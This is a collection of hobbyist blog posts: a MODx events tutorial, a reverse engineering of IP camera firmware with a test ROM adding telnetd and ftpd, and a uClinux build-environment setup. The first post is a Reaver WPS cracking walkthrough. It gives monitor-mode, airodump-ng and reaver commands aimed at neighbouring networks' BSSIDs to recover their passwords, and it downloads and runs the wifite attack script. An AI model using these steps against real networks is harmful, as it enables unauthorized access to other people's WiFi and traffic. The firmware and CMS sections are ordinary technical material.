Assuming all the tools are installed (http://code.google.com/p/reaver-wps/)

Reaver is an attack on WPA/WPA2 using a vulnerability in the WPS mechanism.

First up, we need to find out what our network cards are called, so use iwconfig to list wifi / network interfaces

eg

iwconfig

iwconfig
lo no wireless extensions.

wlan3 IEEE 802.11bg Mode:Monitor Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Power Management:on


In the above, we have wlan1 and wlan3 as possible interfaces.

Next up, we put the wifi card into monitor mode (pick a card)
Here I’m using wlan1

airmon-ng start

airmon-ng start wlan1

wlan1 Unknown rt2800usb - [phy0]
(monitor mode enabled on mon0)
wlan3 RTL8187 rtl8187 - [phy3]


That creates another interface (mon0 above), that we can connect to.
Next, we need to list the various wifi lans in the vicinity

We can use the new interface to do so (or use any existing wifi interface, doesn’t really matter)


airodump-ng mon0

EC:17:2F:F3:0F:A8 74:E2:F5:4D:C5:11 -1 0e- 0 0 2
EC:17:2F:F3:0F:A8 00:04:20:16:5E:52 -52 48 -54 0 14
EC:17:2F:F3:0F:A8 70:56:81:C2:1B:3B -66 0e- 1e 0 6
EC:17:2F:F3:0F:A8 00:23:4E:7E:FC:B4 -74 0e- 1 0 3
EC:17:2F:F3:0F:A8 00:08:65:30:93:D3 -76 36 -12e 0 217


Here you can see that the interface see’s 3 separate networks.
It can also identify that First_Network has connections from a number of computers

Ideally, we want to sniff the network with the most traffic, in this case, thats my existing network, so we’ll skip it.

We can see that Second_Network is on Channel 5, and Third_Network is on channel 11

Now we have enough information to try to discover the key for the other networks.

Startup reaver, and connect to a BSSID above

reaver -i mon0 -b BSSID -a -vv -c CHANNEL

BSSID’s –
00:18:39:28:3B:2C – Second_Network Channel 5
00:25:BC:8D:4F:F5 – Third_Network Channel 11

eg


reaver -i mon0 -b 00:25:BC:8D:4F:F5 -vv -a -c11

[+] Switching mon0 to channel 11
[+] Waiting for beacon from 00:25:BC:8D:4F:F5


This should connect to the network, and start to do its magic.

If you get issues like

[!] WARNING: Failed to associate with 00:25:BC:8D:4F:F5 (ESSID: Third_Network)

Then you need to try another with another wifi card chipset, as your drivers don’t support monitor mode correctly.

If it does connect, then you’re set. Let it run, and a few hours later, you should see the wifi name and password.

A much easier way to do all this, is of course to use the prepackaged scripts at

http://code.google.com/p/wifite/

wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py

chmod +x wifite.py

./wifite.py

Then have fun..

We’ve been using MODx for a number of years now for site development, and one thing that repeatedly comes up in all our sites is how to add Events.

This is actually pretty easy within MODx, as you’ll see.
Ditto and CALx are two plugins that make this doable.

First up, I recommend you setup a folder for the events to be held in. I usually sit this outside of the main site tree, and set it to be not shown in the menu.

Lets call this the Events Folder.
Heres one I made earlier that has some events inside.

Lets not get ahead of ourselves though.

So, now we have a folder to place stuff into.
Next, we need some details for our events.

At a minimum, we’ll need an Event Start Date, and End Date (although to be honest, most clients don’t use that many fields).

So, lets setup 2 Template Variables called… EventStartDate, and EventEndDate.

As we’ll be using Ditto and CALx, we need to tell MODx to use UnixTime for these, so that we can sort with them later. Make a new Template Variable, set the Input Type to Date, and set the Widget to UnixTime.

See below for an example. (do the same for both Template Variables)

Don’t forget to make sure that both template variables are accessible in whatever templates you will be using.

Ok, so now we have a folder, and two template variables.
Lets make some data.

Go to the Events folder you created, right click, and Create New Resource Here.
You should see the two template variables we created listed in the page. Set them to something appropriate.

Save the page.
Create another few entries with different dates so we’ll have something to sort by.

You should now have a folder, our template variables, and some sample data.
At this point we’ll need to make a chunk so that we can display the output of running Ditto against our data.

Make a new Chunk,call it chkShowEvent, and put this inside.

Title: [+title+]
Start: [+EventStartDate:date=`%d-%b-%y %H:%M`+] 
End: [+EventEndDate:date=`%d-%b-%y %H:%M`+]

(You’ll note that we’re formatting the UnixTime based data automagically by using MODx’s built in formatting functions.)

Neat huh.

Ok, so now we have almost all our details together.
All we need now is to create some code to show off the data.

If you recall way back to the top of this page, we setup a Start Date and an End Date.
Our Start Date is called EventStartDate.

Lets make some code to show off a single event using Ditto.

[!Ditto? &startID=`4` &tpl=`chkShowEvent` &displayArchive=`0` &multiLevel=`1` &paginate=`0` &paginateAlwaysShowLinks=`0` &orderBy=`EventStartDate ASC` &extenders=`summary,dateFilter` &dateSource=`EventStartDate` &summarize=`1` &dateFormat=`%d. %b. %y` &filter=`EventStartDate,@EVAL return strtotime("now");,3`!]

Looks complicated, doesn’t it!.
Actually not that bad, what we’re doing is telling Ditto to give us one single result, ordered by date.
We then tell Ditto to filter out anything thats older than the current time/date.
This gives us one single result – our most recent upcoming event.

IMPORTANT – The StartID needs to be the same one that YOU are using. Make sure that your folder number and the Ditto call number match. My folder ID is 4, so I’m using 4. You’ll need to use whatever number shows in your MODx.

Ah, I hear you say, but how do I show more than one upcoming event?
Easy peasy. We’ll also need to add a little piece of code for the pagination underneath our Ditto call, so don’t forget to do that.

This Ditto call will show you a listing of upcoming events in date order (past events won’t be displayed)

[!Ditto? &startID=`4`&tpl=`events` &showInMenuOnly=`1` &displayArchive=`0` &multiLevel=`1` &paginate=`1` &paginateAlwaysShowLinks=`1` &orderBy=`EventStartDate ASC` &extenders=`summary,dateFilter` &dateSource=`EventStartDate` &summarize=`5` &dateFormat=`%d. %b. %y` &filter=`EventStartDate,@EVAL return strtotime("now");,3`!]

[+previous+] [+pages+] [+next+]

Again, remember to make sure that startID is the one YOU are using.

Ok, so thats pretty straightforward. Where does CALx come in?
Well, most of the time, people want a Calendar as well as an events listing.

As we’ve created the EventStartDate and EventEndDate as UnixTime, CALx doesn’t need any special help.

Here’s a sample call using the fields we’ve made

[!CALx? &getFolder=`4` &idMultiEvent=`4` &lang=`english` &useTV=`true` &dateStartTVName=`EventStartDate` &dateEndTVName=`EventEndDate` &showOtherMonth=`both` &getTypeProcess=`createCal` &popupType=`3`!]

This will show a calendar for the current month on the page its used on, and list the events for that month. Again, make sure that the folder id that YOU need is used – change getFolder=`4` to your folder ID.

Read up on CAlx, and Ditto at the MODx site for a rundown on the various parameters used.
This should give you an idea of how to setup and use them though.

Good luck.

Feel free to ask questions.

Its been a while since I did any IPCam stuff, but I’ve now got most of the bits I needed together again, as well as a new laptop for dev work (curse the thieves that stole my last one!)

As we recall from previous work, the main binary for the IPCam runs off a file called “camera”.

As some people have discovered, it likes to reboot the equipment when its not happy (eg when the camera is unplugged, it has issues talking to hardware, or when someone has flashed the wrong firmware).

So, lets take a look at the executable to see what interesting bits we can find out from it.

#file camera tells us – BINFLT file format. Fileflags: RAM GZIP.
So we know its a compressed bflt elf – bflt stands for binary flat file, and it uses gzip compression. It also sits in ram.

A hex dump of camera shows this for the first few bytes:

62 46 4C 54 00 00 00 04 | bFLT . . . .

[Note – I had about 4 pages of #$%# work done on this, and WordPress decided to flake once finished due to an errant pasted 0x0 null byte above, cutting off the rest of my post, so this is going to be shorter and angrier than it was originally written.
Lesson learned, always save stuff elsewhere before posting.]

bFLT headers consist of 4 bytes identifier, then 4 bytes for the version number.
In this case, its a version 4 bFLT file.

If we take a look at the header file source for bflt at the uclinux site we see the below layout.


struct flat_hdr {
char magic[4];
unsigned long rev; /* version */
unsigned long entry; /* Offset of first executable instruction with text segment from beginning of file */
unsigned long data_start; /* Offset of data segment from beginning of file */
unsigned long data_end; /* Offset of end of data segment from beginning of file */
unsigned long bss_end; /* Offset of end of bss segment from beginning of file */
/* (It is assumed that data_end through bss_end forms the bss segment.) */
unsigned long stack_size; /* Size of stack, in bytes */
unsigned long reloc_start; /* Offset of relocation records from beginning of file */
unsigned long reloc_count; /* Number of relocation records */
unsigned long flags;
unsigned long filler[6]; /* Reserved, set to zero */
};


It doesn’t match up properly, as the sizes or code don’t make sense (yet).

If we take a closer look, the header file has this to say:


#define FLAT_FLAG_RAM 0x0001 /* load program entirely into RAM */
#define FLAT_FLAG_GOTPIC 0x0002 /* program is PIC with GOT */
#define FLAT_FLAG_GZIP 0x0004 /* all but the header is compressed */


Ahah!

So, all but the header is compressed for a version 4 file.

Lets check this out, and see if its correct.
Excluding the initial file identifier (bFLT), our header consists of 10 longs. Thats 40 bytes long.
Lets jump to offset 40 in the file, and see what we have there.

1F 8B 08

Those of you familiar with gzipped files will recognize that – its the gzip header identifier. So, so far, so good.
Compressed files aren’t very useful to us, as they don’t show much text content.
So, we could unzip the file to take a look at whats inside.

There are a number of ways we can unzip this (zcat, gzip -d etc), but I’m going to be lazy, and use someone elses premade code.

See below for some perl to safely uncompress our binary , taken from here – http://www.openwiz.org/wiki/BWFWTools_Release


#!/usr/bin/perl

foreach my $bfltZ (@ARGV) {
expand_blftZ($bfltZ)
}


If we run that on our ‘camera’ executable, we should have an uncompressed bFLT file as output ‘camera.unz’.
Lets run strings on ‘camera.unz’, to see what interesting text content is in there.

Some interesting things of note:

From the variables list below, looks like there is a way to turn off the LED…

led_mode
ptz_center_onstart
ptz_auto_patrol_interval
ptz_auto_patrol_type
ptz_patrol_h_rounds
ptz_patrol_v_rounds
ptz_patrol_rate
ptz_patrol_up_rate
ptz_patrol_down_rate
ptz_patrol_left_rate
ptz_patrol_right_rate

We also have a full list of the internal cgi functions now, which might prove useful…

snapshot.cgi
get_status.cgi
get_camera_params.cgi
decoder_control.cgi
camera_control.cgi
reboot.cgi
restore_factory.cgi
upgrade_firmware.cgi
upgrade_htmls.cgi
get_params.cgi
set_alias.cgi
set_datetime.cgi
set_users.cgi
set_devices.cgi
set_network.cgi
set_wifi.cgi
set_pppoe.cgi
set_upnp.cgi
set_ddns.cgi
set_ftp.cgi
set_mail.cgi
set_alarm.cgi
videostream.cgi
video.cgi
test_ftp.cgi
test_mail.cgi
set_misc.cgi
get_misc.cgi
set_p2p.cgi
get_p2p.cgi
set_forbidden.cgi
get_forbidden.cgi
set_decoder.cgi
comm_write.cgi
wifi_scan.cgi
get_wifi_scan_result.cgi
get_log.cgi
check_user.cgi
check_user2.cgi
backup_params.cgi
restore_params.cgi
erase_allparams.cgi
set_mac.cgi
do_cgi: unknown cgi

You can see that Maverick decided to fake the X-Mailer smtp header (Foxmail is a commonly used Mail Program in China).

MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary=”smtp_msg_boundary”
X-Mailer: Foxmail
–smtp_msg_boundary
Content-Type: image/jpeg;
name=”%s(%s)_%c%s.jpg”
Content-Transfer-Encoding: base64
–smtp_msg_boundary–

I’m interested in why the firmware reboots on some firmwares though, so lets take a deeper look at the code.

To do so, we’ll need to decompile it.
The better equipped than me will probably use something like the nice ARM decompiler plugin for IDA-Pro called Hex-Ray. Unfortunately that costs $$$, and I’m just a hobbyist.

Luckily there is a free windows decompiler called arm2html available here.
arm2html doesn’t handle compressed bFLT files though, so you’ll need to point it at the freshly ungzipped code you got from the perl script above.

As we know that the camera executable reboots after issuing i2c errors, the first piece of decompiled code I wanted to look at was the first piece of code related to i2c:

(excerpted piece below)
02588: e1a0c00d mov ip, sp
00258c: e92dd810 stmdb sp!, {r4, fp, ip, lr, pc}
002590: e24cb004 sub fp, ip, #4 ; 0x4
002594: e24dd00c sub sp, sp, #12 ; 0xc
002598: e59f023c ldr r0, [pc, #572] ; [0027dc] "/dev/i2c0"
00259c: e3a01002 mov r1, #2 ; 0x2
0025a0: eb00c9b8 bl 034c88(c9b8)
0025a4: e1a04000 mov r4, r0
0025a8: e3540000 cmp r4, #0 ; 0x0
0025ac: aa000003 bge 0025c0(3) ; jump
0025b0: e59f0228 ldr r0, [pc, #552] ; [0027e0] "%s: can not open i2c device"
0025b4: e59f1228 ldr r1, [pc, #552] ; [0027e4] "zoom_test"
0025b8: eb00bc86 bl 0317d8(bc86)
0025bc: e91ba810 ldmdb fp, {r4, fp, sp, pc} ; return

The full piece of code essentially loops 7 times trying to open the i2c sensor to call the zoom_test code. If it fails, it calls for a reboot.
Success proceeds to setting up the camera.

We know from our boot log that my camera in this model is a Sonix288.

dvm usb cam driver 0.0.0.0 by Maverick Gao in 2006-8-12
usb.c: registered new driver dvm
dvm usb cam driver 0.1 for sonix288 by Maverick Gao in 2009-4-20
usb.c: registered new driver dvm usb cam driver for sonix288

The Sonix288 is a chipset SoC that will talk to an attached image sensor via i2c. I think that the Sonix288 is probably a standard USB 1.1/2.0 compatible UVC (USB Video Class) chipset from a bit of googling about it.

We don’t have the source for our particular camera though (its secret, much like the data sheets, grrr…).
What to do?
Linux generally uses spcaxxx (and UVC) drivers for talking to camera’s, so lets start taking a look there.

http://read.pudn.com/downloads127/sourcecode/unix_linux/539050/zc030x/zc030x_cameras.c__.htm

http://www.hackchina.com/r/54654/zc030x_i2c.c__html

Taking a look at some spcaxxx driver header files and code shows that i2c is setup by first getting the USB VID, USB PID of the hardware, then talking to the i2c device on that hardware.

So, we need to know what our USB VID and PID’s are.

Generally all devices from a given manufacturer will have a single VID as issued by the USB Forum.

If we search through the code for Sonix, it appears that Sonix’s VID is 0x0c45

{USB_DEVICE(0x0c45, 0x607c)}, /* Sonix sn9c102p Hv7131R */
(from http://linux.downloadatoz.com/linux-kernel-webcams-driver-gspca-spca5xx/ )

The Linux UVC page confirms this http://www.ideasonboard.org/uvc/.

(Listings of webcams excerpted – note the VID of 0c45)

0c45:6310 USB 2.0 Camera (Trust Chat Webcam) Sonix Technology
0c45:63e0 Sonix Integrated Webcam (Dell notebooks) Sonix Technology
0c45:63ea Laptop Integrated Webcam 2M (Dell Studio 1555 notebooks) Sonix Technology
0c45:6409 USB 2.0 Camera (Nokia Booklet 3G netbooks) Sonix Technology
0c45:6415 Laptop Integrated Webcam 1.3M (Dell Inspiron 13z notebooks) Sonix Technology

Ideally at this point, I’d have a data sheet for the Sonix288 chip, but the #$%#$ people at Sonix don’t seem to publish one for us mere mortals.

So, we’ll use the next best thing, and use one for their other chipsets.

SN9C1xx PC Camera Controllers –
http://ww2.cs.fsu.edu/~rosentha/linux/2.6.26.5/docs/video4linux/sn9c102.txt

There is a lot of good useful info in that particular file. We don’t know how much is useful yet, but generally chipsets are quite similar for a given range.

Image sensor / SN9C1xx bridge | SN9C10[12] SN9C103 SN9C105 SN9C120
——————————————————————————-
HV7131D Hynix Semiconductor | Yes No No No
HV7131R Hynix Semiconductor | No Yes Yes Yes
MI-0343 Micron Technology | Yes No No No
MI-0360 Micron Technology | No Yes Yes Yes
OV7630 OmniVision Technologies | Yes Yes Yes Yes
OV7660 OmniVision Technologies | No No Yes Yes
PAS106B PixArt Imaging | Yes No No No
PAS202B PixArt Imaging | Yes Yes No No
TAS5110C1B Taiwan Advanced Sensor | Yes No No No
TAS5110D Taiwan Advanced Sensor | Yes No No No
TAS5130D1B Taiwan Advanced Sensor | Yes No No No

Interesting… Hmm, so it seems that Sonix uses a SN9Cxxx for its product names.
Lets google for SN9C288 instead, and see if we get any results.

Bingo.

From here – www.lh-invest.com/en/showpro.asp?id=308&proid=3

* MCU: SONIX SN9C288
* Sensor: MICRON K14 1,300,000 pixels CMOS
* 5-glass lens,can reach 30 frames/sec. under 640*480
resolutions,software insertion value 1,300,000 pixels
* Focus range: 3CM to infinitude farness
* Dynamic video resolutions: 1280*960 pixels(max.)
* Support microsoft UVC driver-free function
* Support RGB24 and YUY2 two kinds of image formats
* USB 2.0 port,support plug and play
* Human face tracking function

Seems our chipset is finally getting some details.
Max resolution, video modes, face tracking capability, etc
We also know that it can be paired with a Micron K14 image sensor.

Further googling reveals it can also be paired with the MI-0360 (which is listed above).

SN9C288+MI0360

This page also gives us a possible pid:

http://forums.lenovo.com/t5/SL-Series-ThinkPad-Laptops/camera-problem-in-all-windows-Creation-of-the-Video-preview/m-p/163019/highlight/true

“Device Name: ?USB Video Device

PnP Device ID: VID = 0C45 PID = 62C0
Serial Number: 6&&2BCAFCF3&&0&&0000
Revision: (Information not returned)

Device Type: Standard USB device – USB2.0 High-Speed

Chip Vendor: SONiX
Chip Part-Number: SN9C288PFG

In Microsoft parlance, this looks like this USB\VID_0C45&PID_62C0

Googling that gives us a product with windows drivers (HP) and more.

http://www.downloadwindowsdrivers.info/usb/vid_0c45/pid_62c0/mi_00/

Also says that these product drivers also work.
USB\VID_0C45&PID_62C0 ;SN9C211/213/230

That means we can take a look at their inf file and see if anything useful in there. Unfortunately I did, and there isn’t much 🙁

Sonix has datasheets for some of their other products available though (SN9C2028AF).

First, a quick overview of UVC devices (snarfed from elsewhere).

USB devices are required by the USB specification to respond to the Host device (the computer) with a stream of data describing the device and the interface to the device. This “Device Descriptor” includes vendor, product, and version IDs specific to the manufacturer, the product, and the version of the product. In addition to the device information, the descriptor also includes information on how to talk to the device through a series of “Interface Descriptors”.

The device descriptor for Video is 13.

#define USB_DEVICE_CLASS_VIDEO 0x0E

In addition to the end points described in the interface descriptors, all USB devices support a control pipe to end point 0. This is used to manipulate some of the low level functions of the device such as power, and error status queries.

The USB Video specification describes two interfaces, a control interface to manage the camera, and a stream interface to send or receive video information from the camera.

The control interface is used to manipulate the camera parameters such as brightness and contrast as well as to negotiate a valid set of the video format, frame size, frame rate, and compression rates parameters that describe a video stream. In addition, the control interface can ask the camera for still frame.

In the datasheet for the 2028, it basically states that they use end point 0 for STD Commands, with a maximum packet size of 64 bytes.

Further googling reveals that there is no special driver for it, its a plain UVC 1.0 device.

usb 1-2: New USB device strings: Mfr=2, Product=1, SerialNumber=0
usb 1-2: Product: USB 2.0 Camera
usb 1-2: Manufacturer: Sonix Technology Co., Ltd.
Linux video capture interface: v2.00
uvcvideo: Found UVC 1.00 device USB 2.0 Camera

Further heavy baidu’ing in Chinese sites finds that the SN9C213 and SN9C288 are the same pretty much.

其内部编号是SN9C213，功能完全和SN9C288一样。From http://ep.cbifamily.com/2007/04/44/87819.html

David McCullough very nicely also compiled in usb debug support on his kernel and ran some tests too:

> > > T: Bus=01 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 2 Spd=12 MxCh= 0
> > > D: Ver= 2.00 Cls=ef(unk. ) Sub=02 Prot=01 MxPS=64 #Cfgs= 1
> > > P: Vendor=0c45 ProdID=62f1 Rev= 1.00
> > > S: Manufacturer=Sonix Technology Co., Ltd.
> > > S: Product=USB 2.0 Camera
> > > C:* #Ifs= 2 Cfg#= 1 Atr=80 MxPwr=500mA
> > > I: If#= 0 Alt= 0 #EPs= 1 Cls=0e(unk. ) Sub=01 Prot=00 Driver=(none)
> > > E: Ad=83(I) Atr=03(Int.) MxPS= 16 Ivl=6ms
> > > I: If#= 1 Alt= 0 #EPs= 0 Cls=0e(unk. ) Sub=02 Prot=00 Driver=(none)
> > > I: If#= 1 Alt= 1 #EPs= 1 Cls=0e(unk. ) Sub=02 Prot=00 Driver=(none)
> > > E: Ad=81(I) Atr=05(Isoc) MxPS= 128 Ivl=1ms
> > > I: If#= 1 Alt= 2 #EPs= 1 Cls=0e(unk. ) Sub=02 Prot=00 Driver=(none)
> > > E: Ad=81(I) Atr=05(Isoc) MxPS= 256 Ivl=1ms
> > > I: If#= 1 Alt= 3 #EPs= 1 Cls=0e(unk. ) Sub=02 Prot=00 Driver=(none)
> > > E: Ad=81(I) Atr=05(Isoc) MxPS= 512 Ivl=1ms
> > > I: If#= 1 Alt= 4 #EPs= 1 Cls=0e(unk. ) Sub=02 Prot=00 Driver=(none)
> > > E: Ad=81(I) Atr=05(Isoc) MxPS= 600 Ivl=1ms
> > > I: If#= 1 Alt= 5 #EPs= 1 Cls=0e(unk. ) Sub=02 Prot=00 Driver=(none)
> > > E: Ad=81(I) Atr=05(Isoc) MxPS= 800 Ivl=1ms
> > > I: If#= 1 Alt= 6 #EPs= 1 Cls=0e(unk. ) Sub=02 Prot=00 Driver=(none)
> > > E: Ad=81(I) Atr=05(Isoc) MxPS= 956 Ivl=1ms

The uvc driver status is obviously an issue as we’re on a 2.4 Kernel. No uvc support on 2.4.
So…, we either compile 2.6 with UVC support, and reflash, or we continue to use Mavericks driver in lieu of any source.

With that, you have some background on things..
Now, why does this cause a reboot on some machines?

Well, the hardware is different, so the hardware isn’t seen by the driver.
From looking at a few different boards I have seen a few devices id’s used.

So far I have seen these:
vid_0c45/pid_62f1 – (The Sonix Chipset allows you to write pid’s into the device, so this can be changed, or alternately change the driver from 62c0 to 62f1 on these models)

vid_0c45/pid_62c0 – (Our driver is compiled for this)

For those of you with rebooting machines, remove ‘camera &’ from the boot sequence, recompile the kernel with USB verbose debug message logging, and start posting your vid/pid’s here so we can compare, and add to the list.

If someone twisted my arm I could probably oblige…

References:
http://www.beyondlogic.org/uClinux/bflt.htm – bFLT file format details.
http://www.garykessler.net/library/file_sigs.html – Common file format headers
http://www.openwiz.org/wiki/BWFWTools_Release – bFLT unzip and other tools
http://www.hex-rays.com – IDA Pro and Hex-Ray ARM Decompiler
http://www.sigmaplayer.com/filebase.php?d=1&id=13&c_old=5&what=c&page=1 – Arm Decompiler
http://www.ideasonboard.org/uvc/
http://read.pudn.com/downloads127/sourcecode/unix_linux/539050/zc030x/zc030x_cameras.c__.htm
http://www.hackchina.com/r/54654/zc030x_i2c.c__html
http://linux.downloadatoz.com/linux-kernel-webcams-driver-gspca-spca5xx/
http://ww2.cs.fsu.edu/~rosentha/linux/2.6.26.5/docs/video4linux/sn9c102.txt

Files from this post:
(arm2html.exe, bFLT gunzip perl script, original camera bFLT, uncompressed camera bFLT, and camera asm source )
Camera Disassembly, unpacked bFLT and Tools

I’ve uploaded a zip of my built test image here. I’ve only included telnetd, and ftpd, as the sshd binary is very large, and won’t fit into our rom image space!

If someone is willing to test, feel free.

Test Rom with FTPD and TELNETD binaries added

This rom is 700k+- vs the normal 550kb. So this may / may not overwrite the web ui.

As China’s firewall is being particularly obnoxious this week as to what I can view on the web, I can’t actually get to the info I need to see where they typically write the UI to in rom.

In theory, we should be able to write to the same base address via the boot loader.

The original rom is written here –

Image: 6 name:romfs.img base:0×7F0E0000 size:0×0008D000 exec:0×7F0E0000 -a

And I’m pretty sure that the UI gets written somewhere after this, and not as a separate image. I’d have to run Windows and a sniffer to test this though (using their firmware update software).

Our boot logs show that linux blkmem driver is set to view the whole area from 0×7F0E0000 through to 0x7F16D3FF, so we should easily have 200kb to waste^Hplay with.

From my boot logs:

Blkmem 1 disk images:
0: 7F0E0000-7F16D3FF [VIRTUAL 7F0E0000-7F16D3FF] (RO)

Obstensibly, this should be a matter of going to the bootloader over serial, then uploading our img file.
Suggest rename from testrom.img to romfs.img to be consistent.

It should be something like this:

bootloader > del 6
(delete the current romfs.img)

bootloader > fx 6 romfs.img 0x7f0e0000 0x7f0e0000 -a
Waiting for download
Press Ctrl-x to cancel … (while it waits, you have to select Transfer > Send File in Hyperterminal menu, choose the Xmodem protocol and select my rom image)
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Flash programming …

bootloader> boot

Then see what happens in the logs.

It should boot, then attempt to run telnetd and ftpd.
That probably WON’T work just yet, as they’ll complain about missing /etc/ config files.

You might also be missing the UI (as I think this gets written somewhere after our romfs.img in flash)

Send me the serial logs in the comments, and I can fix that up, and repackage.

I also know why the alleged clones (NB they’re not f..king clones sigh, they’re all made by 1 manufacturer here for different people, including FOSCAM) don’t work. The linux.bin for older firmware is set to boot from 0x7f0D0000 as opposed to 0x7f0e0000, so image 6 and 7 both need to be reflashed.

Also of note is that the newer units have gone cheaper, and use 2M flash, previous units had 4M.
uCLinux reports 8M, but its not talking about Flash, just RAM

Be prepared to brick (not completely, as we have a bootloader, and can reflash the original firmware) if it doesn’t work.

If my rom above doesn’t work initially for you, try flashing this linux.zip before reverting, and see if that helps it boot.

eg

bootloader> del 7

bootloader> fx 6 romfs.img 0x7f0e0000 0x7f0e0000 -a
Waiting for download
Press Ctrl-x to cancel ... (while it waits, you have to select Transfer > Send File in Hyperterminal menu, choose the Xmodem protocol and select my rom image)
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Flash programming ...


Why aren’t I doing this?

Mostly as I don’t currently have a good serial connection, I’m waiting on headers. Currently I have to hold the serial ports onto the board with fingers, and thats less than reliable!

I should get around to fixing that soonish though, I’m interested in testing this myself…

I’d also appreciate the French contingent adding some info. I’m particularly interested in paillassou’s board photos, and any other firmware people have found for these so I can compare.

I can’t get to Picasa, GadgetVictims, IrishJesus now in China. Grrr.

Yes, I know, use a VPN or proxy… Unfortunately what we do precludes doing so, as I’d probably get told off by our beloved government here, and thats not worth the risk…

Comments please.

So far in this series, we’ve learnt a few things.
First, is that this hardware is quite nice for hacking purposes, as they’ve left the uBoot in a nice state, and have easily accessible debug ports.
Second is that doing this kind of thing isn’t really that complicated, and can be quite fun.

We’re pretty much ready to start doing our own coding, as we know how the images are packed, and we can use the uBoot to either flash onl the romfs on or own, or alternately roll a complete linux + romfs binary image.

For that, we’ll need to be ready to roll up our sleeves, and actually do some development (finally!).

Getting a development environment setup is our next step, as we’re ready to test out adding binaries.

I’m using Debian, but most Linux environments should be similar. OSX is BSD based, and more of a pain due to Apple not putting everything needed in the normal places, so I’m doing this in a VM on my Macbook under Debian.

Go grab a copy of “NUC700 Series MCU uCLinux BSP.zip” from here http://www.metavert.com/public/NO-SUPPORT/

Setup a VM for Debian (not going to cover that) or install Debian or similar.

Copy the zip file to /home in the OS you use.

cd /home
mkdir N745
cd N745
unzip ../NUC700\ Series\ MCU\ uCLinux\ BSP.zip

You should now see something like this:

:/home/N745/NUC700 Series MCU uCLinux BSP# ls -al
total 68
drwxr-xr-x 6 root root 4096 2009-05-15 20:02 .
drwxr-xr-x 3 root root 4096 2010-04-30 02:23 ..
drwxr-xr-x 3 root root 4096 2009-05-15 20:06 bootloader
drwxr-xr-x 2 root root 4096 2009-05-15 20:03 bsp
drwxr-xr-x 2 root root 4096 2009-05-15 20:02 doc
drwxr-xr-x 4 root root 4096 2009-05-15 20:02 mkrom
-r--r--r-- 1 root root 44632 2009-03-27 11:49 NUC700 uClinux BSP Release Note.pdf
debian:/home/N745/NUC700 Series MCU uCLinux BSP#

Unfortunately the build *really* doesn’t like long filenames, so lets move all this to the N745 folder, and get rid of the annoyingly named folder.


/home/N745/NUC700 Series MCU uCLinux BSP# mv * ..
/home/N745/# cd ..
/home/N745/# rm -r NUC700\ Series\ MCU\ uCLinux\ BSP/


We still need to unzip the BSP, as its compressed, so go into bsp


/home/N745/# cd bsp
/home/N745/bsp# tar -xzvf NUC700BSP.tar.gz
NUC700BSP/
NUC700BSP/arm_tools.tar.gz
NUC700BSP/install.sh
NUC700BSP/arm_tools_3.3.tar.gz
NUC700BSP/build.tar.gz
NUC700BSP/applications.tar.gz
NUC700BSP/uClinux-dist.tar.gz


Yay, yet another bloody subdirectory. Sigh.


/home/N745/bsp# cd NUC700BSP
debian:/home/N745/bsp/NUC700BSP# ls -al
total 183300
drwxr-xr-x 2 shanghaiguide shanghaiguide 4096 2009-03-26 22:38 .
drwxr-xr-x 3 root root 4096 2010-04-30 02:29 ..
-rw-r--r-- 1 shanghaiguide shanghaiguide 29521418 2009-03-26 21:55 applications.tar.gz
-rw-r--r-- 1 shanghaiguide shanghaiguide 43742203 2009-03-26 21:22 arm_tools_3.3.tar.gz
-rw-r--r-- 1 shanghaiguide shanghaiguide 36108739 2009-03-26 21:11 arm_tools.tar.gz
-rw-r--r-- 1 shanghaiguide shanghaiguide 5643452 2009-03-26 21:24 build.tar.gz
-rwxr--r-- 1 shanghaiguide shanghaiguide 4370 2009-03-26 22:31 install.sh
-rw-r--r-- 1 shanghaiguide shanghaiguide 72439431 2009-03-26 20:53 uClinux-dist.tar.gz
debian:/home/N745/bsp/NUC700BSP#


Run the install – I’ve decided to install the whole shebang to /home/N745

Note – The observant amongst you will notice I’m running this as root.
This is NOT recommended. I’m running under a VM solely created to play with this, so I don’t really care if I break it (as I can roll back to the initial install image fairly easy in vmware). Don’t do this yourselves (unless you want to break things).


debian:/home/N745/bsp/NUC700BSP# ./install.sh
firstly install arm_tools.tar.gz -->/usr/local/
wait for a while
successfully finished installing arm_tools.tar.gz
now begin to install build.tar.gz,applications.tar.gz and uClinux-dist.tar.gz
Please enter your absolute path for installing build.tar.gz, applications.tar.gz and uClinux-dist.tar.gz:
/home/N745
/home/N745 has existed
please wait for a while, it will take some time
whole installation finished successfully!
debian:/home/N745/bsp/NUC700BSP#


We finally have our build environment unzipped, and its sitting in nuc700-uClinux.

debian:/home/N745# cd nuc700-uClinux/
debian:/home/N745/nuc700-uClinux# ls -al
total 24
drwxr-xr-x 6 root root 4096 2010-04-30 02:31 .
drwxr-xr-x 7 root root 4096 2010-04-30 02:31 ..
drwxr-xr-x 7 root root 4096 2009-03-25 00:44 applications
drwxr-xr-x 2 root root 4096 2009-03-26 21:23 image
drwxr-xr-x 12 root root 4096 2009-03-26 04:54 romdisk
drwxr-xr-x 10 root root 4096 2009-03-26 06:50 uClinux-dist
debian:/home/N745/nuc700-uClinux#

uClinux-dist has the default binaries we want, plus we need to configure the kernel, so lets visit there first (the more adventurous can look at the other folders)


debian:/home/N745/nuc700-uClinux# cd uClinux-dist/
debian:/home/N745/nuc700-uClinux/uClinux-dist# ls -al
total 84
drwxr-xr-x 10 root root 4096 2009-03-26 06:50 .
drwxr-xr-x 6 root root 4096 2010-04-30 02:31 ..
drwxr-xr-x 2 root root 4096 2009-01-22 23:27 bin
drwxr-xr-x 3 root root 4096 2009-03-26 06:50 config
-rw-r--r-- 1 root root 18007 2009-01-22 23:29 COPYING
drwxr-xr-x 3 root root 4096 2009-01-22 23:27 Documentation
drwxr-xr-x 11 root root 4096 2009-01-22 23:29 freeswan
drwxr-xr-x 5 root root 4096 2009-01-22 23:29 lib
drwxr-xr-x 15 root root 4096 2009-03-26 06:50 linux-2.4.x
-rw-r--r-- 1 root root 3228 2009-01-22 23:28 MAINTAINERS
-rw-r--r-- 1 root root 7977 2009-01-22 23:27 Makefile
-rw-r--r-- 1 root root 4935 2009-01-22 23:29 README
-rw-r--r-- 1 root root 1654 2009-01-22 23:29 SOURCE
